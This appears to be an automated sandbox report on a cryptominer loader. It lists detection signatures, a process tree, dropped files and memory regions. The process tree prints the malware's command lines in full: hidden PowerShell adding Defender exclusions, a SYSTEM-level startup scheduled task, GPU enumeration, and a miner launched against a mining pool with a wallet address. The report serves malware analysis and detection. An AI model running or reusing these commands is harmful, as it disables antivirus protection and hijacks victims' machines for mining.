Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 12:24

General

  • Target
    loader.exe
  • Size 297KB
  • Sample261102-plhhcshy6s
  • SHA256 8574eaccfc100749112ed0983bd2a131ebaafaf39ba8b1be03f39264eaf7afd2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Direct Volume Access: Opens a physical disk for reading 1 TTPs 3 IoCs

    Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\loader.exe
    "C:\Users\Admin\AppData\Local\Temp\loader.exe"
    1⤵
    • Direct Volume Access: Opens a physical disk for reading
    • Enumerates system info in registry
    • Suspicious use of WriteProcessMemory
    PID:1252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "try{Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\FleetCompute';Add-MpPreference -ExclusionProcess 'fc-engine.exe';Add-MpPreference -ExclusionProcess 'krig-miner.exe';Add-MpPreference -ExclusionProcess 'FleetComputeService.exe'}catch{}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4296
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6048
      • C:\Windows\system32\schtasks.exe
        schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3528
    • C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
      "C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Direct Volume Access: Opens a physical disk for reading
      • Reads the TCP/IP host and domain name from the registry
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4876
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Detects videocard installed
          • Suspicious behavior: EnumeratesProcesses
          PID:2880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1680
      • C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
        "C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe" -a pearl -p stratum+ssl://prl-eu.kryptex.network:8048 -w prl1pq2dlexs8k0zs3vu7llh082pmwfdsa9nmc78h6flral5ahvsdx29qrmypnn --worker SZAPMTOP --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 1 --cpu_threads 4 --nc 1 -o log --no-color --set http_enabled=false --set disable_udp=true --set auto-update=off
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:6108
        • C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
          "C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+ssl://prl-eu.kryptex.network:8048" "-w" "prl1pq2dlexs8k0zs3vu7llh082pmwfdsa9nmc78h6flral5ahvsdx29qrmypnn" "--worker" "SZAPMTOP" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "1" "--cpu_threads" "4" "--nc" "1" "-o" "log" "--no-color" "--set" "http_enabled=false" "--set" "disable_udp=true" "--set" "auto-update=off"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
            "C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+ssl://prl-eu.kryptex.network:8048 -w prl1pq2dlexs8k0zs3vu7llh082pmwfdsa9nmc78h6flral5ahvsdx29qrmypnn --worker SZAPMTOP --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 1 --cpu_threads 4 --nc 1 -o log --no-color --set http_enabled=false --set disable_udp=true --set auto-update=off --no-color
            5⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            PID:2536
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4992
      • C:\Windows\system32\schtasks.exe
        schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:404
  • C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
    C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
    1⤵
    • Executes dropped EXE
    • Direct Volume Access: Opens a physical disk for reading
    • Enumerates system info in registry
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "try{Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\FleetCompute';Add-MpPreference -ExclusionProcess 'fc-engine.exe';Add-MpPreference -ExclusionProcess 'krig-miner.exe';Add-MpPreference -ExclusionProcess 'FleetComputeService.exe'}catch{}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3540
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5820
      • C:\Windows\system32\schtasks.exe
        schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4780

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        FleetComputeService.exe

        • Path C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
        • Size 297KB
        • SHA256 8574eaccfc100749112ed0983bd2a131ebaafaf39ba8b1be03f39264eaf7afd2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        fc-engine.exe

        • Path C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
        • Size 44.3MB
        • SHA256 7f890db561eff2bceadc0d785efe2dc231f8073068e482bdb4a0cd4d87867b06
        • MD5 SHA1 SHA512 SSDEEP TLSH

        agent.log

        • Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
        • Size 522B
        • SHA256 3a382560d1571511895741659e7e24e21a851d783be574e4c9436d325b12f551
        • MD5 SHA1 SHA512 TLSH

        agent.log

        • Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
        • Size 618B
        • SHA256 7fc6a41a0af57aa43f7e72fa0cc0a0290b241aee04dfe5f438a2fc087348deda
        • MD5 SHA1 SHA512 TLSH

        agent.log

        • Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
        • Size 684B
        • SHA256 75603604815cac45bc4c842fb382739450e474c9a67b09f7e1daaeb747515b98
        • MD5 SHA1 SHA512 TLSH

        agent.log

        • Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
        • Size 724B
        • SHA256 d192619d37b6218c44eb15b6280f9a06df287193723b1a5c1178310c31887210
        • MD5 SHA1 SHA512 TLSH

        agent.log

        • Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
        • Size 899B
        • SHA256 ca992a3f17d0ecfffea9119e85129b3ac2ec7b797331c7af466b5aabec063f5b
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b71bf065a2c398a1c7b6fb1f4517d2a1bcb087f9f4c4d27aed662581a18f3c9b
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 914d1a8c021ca0b9cffc52ca9864844c34530aa93a1c9477a9c1c4aa5feb6584
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_seu34jri.tfy.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_seu34jri.tfy.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent_gpu1.txt

        • Path C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt
        • Size 152B
        • SHA256 136d94dfb544f0e1b7aa03e61af0c8d7c4e37c427963e3b157d1bf8c5fff4ac5
        • MD5 SHA1 SHA512 TLSH

        agent_gpu2.txt

        • Path C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt
        • Size 72B
        • SHA256 702bc2eaaede7b87f9ee1dcaea888d78b17cd1526c016695ed39e384588e8f66
        • MD5 SHA1 SHA512 TLSH

        agent_gpu4.txt

        • Path C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt
        • Size 43B
        • SHA256 c62ab326b8361707c05e3602dc2fcc36f90e3d47f6c260a361640b1d18d2f645
        • MD5 SHA1 SHA512

        memory/1252-43-0x00007FF71E7E0000-0x00007FF71E81D000-memory.dmp

        memory/1252-27-0x00007FF71E7E0000-0x00007FF71E81D000-memory.dmp

        memory/1680-74-0x0000023A70CB0000-0x0000023A70CCE000-memory.dmp

        memory/2536-125-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

        memory/2536-111-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

        memory/2536-117-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

        memory/2536-121-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

        memory/2536-134-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

        memory/3760-80-0x00007FF7A4AC0000-0x00007FF7A4AFD000-memory.dmp

        memory/3852-62-0x0000022CA63F0000-0x0000022CA6414000-memory.dmp

        memory/3852-61-0x0000022CA63F0000-0x0000022CA641A000-memory.dmp

        memory/4296-25-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-21-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-11-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-9-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-8-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-7-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-12-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-28-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-15-0x000002166D8C0000-0x000002166D8DE000-memory.dmp

        memory/4296-24-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-6-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-23-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-22-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-1-0x00007FFC0AD5F000-0x00007FFC0AD60000-memory.dmp

        memory/4296-2-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-10-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-16-0x000002166D8E0000-0x000002166D992000-memory.dmp

        memory/4296-17-0x000002166D9A0000-0x000002166D9AA000-memory.dmp

        memory/4296-18-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-5-0x000002166D620000-0x000002166D642000-memory.dmp

        memory/4296-19-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4296-20-0x00007FFC0ABD0000-0x00007FFC0B574000-memory.dmp

        memory/4412-108-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

        memory/4640-103-0x00007FF7A4AC0000-0x00007FF7A4AFD000-memory.dmp

        memory/4640-92-0x00007FF7A4AC0000-0x00007FF7A4AFD000-memory.dmp

        memory/4640-90-0x00007FF7A4AC0000-0x00007FF7A4AFD000-memory.dmp

        memory/4640-89-0x00007FF7A4AC0000-0x00007FF7A4AFD000-memory.dmp

        memory/4640-135-0x00007FF7A4AC0000-0x00007FF7A4AFD000-memory.dmp

        memory/6108-105-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

        memory/6108-102-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp